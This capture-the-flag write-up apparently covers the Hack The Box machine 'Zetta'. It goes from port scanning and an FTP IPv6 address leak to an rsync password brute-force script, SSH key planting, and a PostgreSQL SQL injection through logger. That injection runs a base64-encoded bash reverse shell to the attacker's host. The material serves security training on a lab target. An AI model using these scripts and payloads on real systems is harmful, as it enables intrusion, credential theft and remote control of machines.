As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Wed Sep 21 19:29:34 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.156
Nmap scan report for 10.10.10.156
Host is up (0.047s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# Nmap done at Wed Sep 21 19:30:01 2022 -- 1 IP address (1 host up) scanned in 26.60 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p21,22,80 10.10.10.246 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Wed Sep 21 19:30:49 2022 as: nmap -sCV -p21,22,80 -oN targeted 10.10.10.156
Nmap scan report for 10.10.10.156
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA)
| 256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA)
|_ 256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519)
80/tcp open http nginx
|_http-title: Ze::a Share
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 21 19:31:25 2022 -- 1 IP address (1 host up) scanned in 36.13 seconds
The FTP server asks for credentials. Note that IPv6 addresses are also allowed.
ftp 10.10.10.156
Connected to 10.10.10.156.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 500 allowed.
220-Local time is now 16:30. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (10.10.10.156:alfa8sa):
Let's take a look at the website.
If we scroll down to the SHARING section, we'll see some credentials.
Let's try those in the FTP server.
ftp 10.10.10.156
Connected to 10.10.10.156.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 500 allowed.
220-Local time is now 16:36. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (10.10.10.156:alfa8sa): Qof54F3sPYXOHZ1AczbOSW8aiLQyj9CZ
331 User Qof54F3sPYXOHZ1AczbOSW8aiLQyj9CZ OK. Password required
Password:
230-This server supports FXP transfers
230-OK. Current restricted directory is /
230-0 files used (0%) - authorized: 10 files
230 0 Kbytes used (0%) - authorized: 1024 Kb
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
There file server only has one file called .ftpquota, which we can't download.
ftp> passive
ftp> ls -la
200 PORT command successful
150 Connecting to port 33831
drwxr-xr-x 2 65534 nogroup 4096 Sep 21 16:36 .
drwxr-xr-x 2 65534 nogroup 4096 Sep 21 16:36 ..
-rw------- 1 65534 nogroup 0 Sep 21 16:36 .ftpquota
226-Options: -a -l
226 3 matches total
Exploitation
When we logged in, we saw that the server supports IPv6 connections. We could try to make the FTP server connect to our machine via IPv6, so we see the IPv6 of the machine, and then if we scan that address we might see some more open ports. First, set a netcat listener on port 4444 on the IPv6 address.
nc -lvnp 4444 -6
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
-6 listen on with IPv6.
ftp> EPRT
?Invalid command.
But, we could try to use it by connecting to the FTP server with netcat. We'll have to log in with the USER and PASS commands.
nc 10.10.10.156 21
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 500 allowed.
220-Local time is now 16:44. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USER Qof54F3sPYXOHZ1AczbOSW8aiLQyj9CZ
331 User Qof54F3sPYXOHZ1AczbOSW8aiLQyj9CZ OK. Password required
PASS Qof54F3sPYXOHZ1AczbOSW8aiLQyj9CZ
230-This server supports FXP transfers
230-OK. Current restricted directory is /
230-0 files used (0%) - authorized: 10 files
230 0 Kbytes used (0%) - authorized: 1024 Kb
Now, we can use the EPRT command.
ftp> EPRT
522 Only IPv4 and IPv6 are supported (1,2)
As we have to connect to the netcat listener from the FTP port, we need to know our IPv6 address from the HTB VPN interface tun0, which is dead:beef:2::1006.
Now, connect to the netcat listener from the FTP server using the EPRT command, indicating the number 2, because we want to do the connection with the IPv6 address, then indicate our local IPv6 address, and finally, indicate the port. Once we are connected, use the list command.
EPRT |2|dead:beef:2::1006|4444|
200-FXP transfer: from 10.10.14.8 to dead:beef:2::1006%160
200 PORT command successful
list
150 Connecting to port 4444
226-Options: -l
226 0 matches total
We should see the IPv6 of the machine in the netcat listener.
Listening on :: 4444
Connection received on dead:beef::57a:71c:23:77a 52240
Now, if we run nmap again to scan open ports on the IPv6 address, we'll see one more port open than before.
# Nmap 7.92 scan initiated Wed Sep 21 20:11:03 2022 as: nmap -sCV -p8730 -oN targetedv6 -6 dead:beef::57a:71c:23:77a
Nmap scan report for dead:beef::57a:71c:23:77a
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
8730/tcp open rsync (protocol version 31)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 21 20:11:06 2022 -- 1 IP address (1 host up) scanned in 3.46 seconds
If we try to connect with rsync to that port, we'll get an error saying that it can't resolve the name or service.
rsync rsync://dead:beef::57a:71c:23:77a:8730
ssh: Could not resolve hostname rsync: Name or service not known
rsync: connection unexpectedly closed (0 bytes received so far) [Receiver]
rsync error: unexplained error (code 255) at io.c(228) [Receiver=3.2.5]
To solve this problem, add a new entry to the /etc/hosts file pointing the IPv6 address to zetta.htb.
nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 alfa8sa
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
dead:beef::57a:71c:23:77a zetta.htb
Now, we can access the service.
rsync rsync://zetta.htb:8730
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******
You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this
system may result in civil and/or criminal penalties.
All activities performed on this device are logged and monitored.
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******
@ZE::A staff
This rsync server is solely for access to the zetta master server.
The modules you see are either provided for "Backup access" or for
"Cloud sync".
bin Backup access to /bin
boot Backup access to /boot
lib Backup access to /lib
lib64 Backup access to /lib64
opt Backup access to /opt
sbin Backup access to /sbin
srv Backup access to /srv
usr Backup access to /usr
var Backup access to /var
But, if try to access any of those directories, we'll always rejected.
rsync rsync://zetta.htb:8730/bin
...
@ERROR: access denied to bin from UNDETERMINED (dead:beef:2::1006)
...
But we could try to access other directories such as /etc.
Let's make a new directory called rsync and get inside.
mkdir rsync
cd rsync/
And let's download the entire /etc directory recursively.
rsync -r rsync://zetta.htb:8730/etc .
Now that we are able to see all the readable files inside /etc, we can access config files such us the configuration file for rsync. In this file, we can see that the /etc is not visible because it is configured as list = false.
cat rsyncd.conf
[etc]
comment = Backup access to /etc. Also used for cloud sync access.
path = /etc
# Do not leak .git repos onto the not so trusted slave servers in the cloud.
exclude = .git
# Temporarily disabled access to /etc for security reasons, the networks are
# have been found to access the share! Only allow 127.0.0.1, deny 0.0.0.0/0!
#hosts allow = 104.24.0.54 13.248.97.0/24 52.94.69.0/24 52.219.72.0/22
hosts allow = 127.0.0.1/32
hosts deny = 0.0.0.0/0
# Hiding it for now.
list = false
There is also another module called home_roy which points to /home/roy.
[home_roy]
path = /home/roy
read only = no
# Authenticate user for security reasons.
uid = roy
gid = roy
auth users = roy
secrets file = /etc/rsyncd.secrets
# Hide home module so that no one tries to access it.
list = false
If we try to connect to that module, it will ask for a password.
rsync rsync://zetta.htb:8730/home_roy
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******
You must have explicit, authorized permission to access this rsync
server. Unauthorized attempts and actions to access or use this
system may result in civil and/or criminal penalties.
All activities performed on this device are logged and monitored.
****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ******
@ZE::A staff
This rsync server is solely for access to the zetta master server.
The modules you see are either provided for "Backup access" or for
"Cloud sync".
Password:
I made the following script in bash which will bruteforce the password.
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Quiting...\n"
exit 1
}
#Ctrl+C
trap ctrl_c INT
while read p; do
sshpass -p "$p" rsync rsync://roy@zetta.htb:8730/home_roy &>/dev/null
if [ "$(echo $?)" == 0 ]; then
echo "Valid pass: " $p
exit 0
fi
done < /usr/share/wordlists/rockyou.txt
If we run the script, we'll see that the password is computer.
./bruteforcer.sh
Valid pass: computer
Now, we can access the module home_roy logging in as roy.
Let's get a shell into the machine. To do it, I will create a .ssh directory, with a authorized_keys which will have my public SSH key, so I can log in into the machine. Then, I will upload the .ssh directory to the home directory of the roy user. First, make the .ssh directory.
mkdir .ssh
Now, let's create a new pair of SSH keys on our local machine.
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:BB525izsjrcx4YURZ4Alw/RcnBBo+qu/GliJ9DGavw4 root@alfa8sa
The key's randomart image is:
+---[RSA 3072]----+
| o++X=*. |
| =O %o |
| . = B + |
|..=.o. = |
|.ooo + S |
| o. .+ o |
|.E....* |
| ..o. + |
| +*o.. |
+----[SHA256]-----+
Copy the public key.
cat id_rsa.pub | xclip -sel clip
And put it in the authorized_keys inside the .ssh directory we just made.
If we check our home directory, we'll see a file called .tudu.xml.
ls -la
total 40
drwxr-xr-x 4 roy roy 4096 Sep 21 17:24 .
drwxr-xr-x 3 root root 4096 Jul 27 2019 ..
lrwxrwxrwx 1 root root 9 Jul 27 2019 .bash_history -> /dev/null
-rw-r--r-- 1 roy roy 220 Jul 27 2019 .bash_logout
-rw-r--r-- 1 roy roy 3526 Jul 27 2019 .bashrc
drwx------ 3 roy roy 4096 Sep 8 2021 .gnupg
-rw-r--r-- 1 roy roy 807 Jul 27 2019 .profile
drwxr-xr-x 2 roy roy 4096 Sep 21 17:24 .ssh
-rw------- 1 roy roy 4752 Jul 27 2019 .tudu.xml
-r--r--r-- 1 root root 33 Sep 21 16:19 user.txt
The file contains a list of todo tasks. There are a few interesting tasks. There is one that talks about GIT, and there is another one that shows a password format.
cat .tudu.xml
...
<title>Move my dotfile sync from rsync to git.</title>
...
<title>Change shared password scheme from <secret>@userid to something more secure.</title>
Let's find for .git files or directories in the system.
Let's go to the /etc/rsyslog.d/.git/ directory and see the last commit made.
cd /etc/rsyslog.d/.git/
git show
commit e25cc20218f99abd68a2bf06ebfa81cd7367eb6a (HEAD -> master)
Author: root <root@zetta.htb>
Date: Sat Jul 27 05:51:43 2019 -0400
Adding/adapting template from manual.
diff --git a/pgsql.conf b/pgsql.conf
index f31836d..9649f68 100644
--- a/pgsql.conf
+++ b/pgsql.conf
@@ -1,5 +1,22 @@
### Configuration file for rsyslog-pgsql
### Changes are preserved
-module (load="ompgsql")
-*.* action(type="ompgsql" server="localhost" db="Syslog" uid="rsyslog" pwd="")
+# https://www.rsyslog.com/doc/v8-stable/configuration/modules/ompgsql.html
+#
+# Used default template from documentation/source but adapted table
+# name to syslog_lines so the Ruby on Rails application Maurice is
+# coding can use this as SyslogLine object.
+#
+template(name="sql-syslog" type="list" option.sql="on") {
+ constant(value="INSERT INTO syslog_lines (message, devicereportedtime) values ('")
+ property(name="msg")
+ constant(value="','")
+ property(name="timereported" dateformat="pgsql" date.inUTC="on")
+ constant(value="')")
+}
+
+# load module
+module(load="ompgsql")
+
+# Only forward local7.info for testing.
+local7.info action(type="ompgsql" server="localhost" user="postgres" pass="test1234" db="syslog" template="sql-syslog")
There are some credentials for psql, but I anticipate you, that are not valid. As we can see, it is inserting some data the following way.
INSERT INTO syslog_lines (message, devicereportedtime) values ('[msg]','[date]');
Maybe, we can inject code by modifying the msg in some way. There also a line at the button that says local7.info.
# Only forward local7.info for testing.
local7.info action(type="ompgsql" server="localhost" user="postgres" pass="test1234" db="syslog" template="sql-syslog")
That means that it is using the local7.info priority with the logger command. It is a log which I can write to, because the roy user is in the adm group.
2022-09-21 17:58:26.960 EDT [2163] postgres@syslog ERROR: syntax error at or near "2022" at character 75
2022-09-21 17:58:26.960 EDT [2163] postgres@syslog STATEMENT: INSERT INTO syslog_lines (message, devicereportedtime) values (' test\'','2022-09-21 21:58:26')
2022-09-21 17:58:26.971 EDT [2183] postgres@syslog ERROR: syntax error at or near "2022" at character 75
2022-09-21 17:58:26.971 EDT [2183] postgres@syslog STATEMENT: INSERT INTO syslog_lines (message, devicereportedtime) values (' test\'','2022-09-21 21:58:26')
2022-09-21 17:58:26.983 EDT [2184] postgres@syslog WARNING: there is no transaction in progress
The idea is to inject code into the query with the logger tool, but without generating any logs, such us the following data.
logger -p local7.info "test', NULL)-- -"
nc -lvnp 4444
Now, create a command encoded in base64 which will send us a reverse shell.
Finally, the following command will exploit the command injection vulnerability, and execute our encoded payload in the victim machine, and we'll get a shell as the user.
logger -p local7.info "test', NULL); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM $$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0NDQgMD4mMQo= | base64 -d | bash $$;-- -"
Listening on 0.0.0.0 4444
Connection received on 10.10.10.156 54346
bash: cannot set terminal process group (2211): Inappropriate ioctl for device
bash: no job control in this shell
postgres@zetta:/var/lib/postgresql/11/main$ whoami
whoami
postgres
Now, if we go back a few directories to /var/lib/postgresql, we'll see a file called .psql_history.
The file contains credentials in the format we saw in the .tudu.xml file.
cat .psql_history
CREATE DATABASE syslog;
\c syslog
CREATE TABLE syslog_lines ( ID serial not null primary key, CustomerID bigint, ReceivedAt timestamp without time zone NULL, DeviceReportedTime timestamp without time zone NULL, Facility smallint NULL, Priority smallint NULL, FromHost varchar(60) NULL, Message text, NTSeverity int NULL, Importance int NULL, EventSource varchar(60), EventUser varchar(60) NULL, EventCategory int NULL, EventID int NULL, EventBinaryData text NULL, MaxAvailable int NULL, CurrUsage int NULL, MinUsage int NULL, MaxUsage int NULL, InfoUnitID int NULL , SysLogTag varchar(60), EventLogType varchar(60), GenericFileName VarChar(60), SystemID int NULL);
\d syslog_lines
ALTER USER postgres WITH PASSWORD 'sup3rs3cur3p4ass@postgres';
If we modify the password to the root user, like sup3rs3cur3p4ass@root, we are able to become the root user. Then, all we have to do is reap the harvest and take the root flag.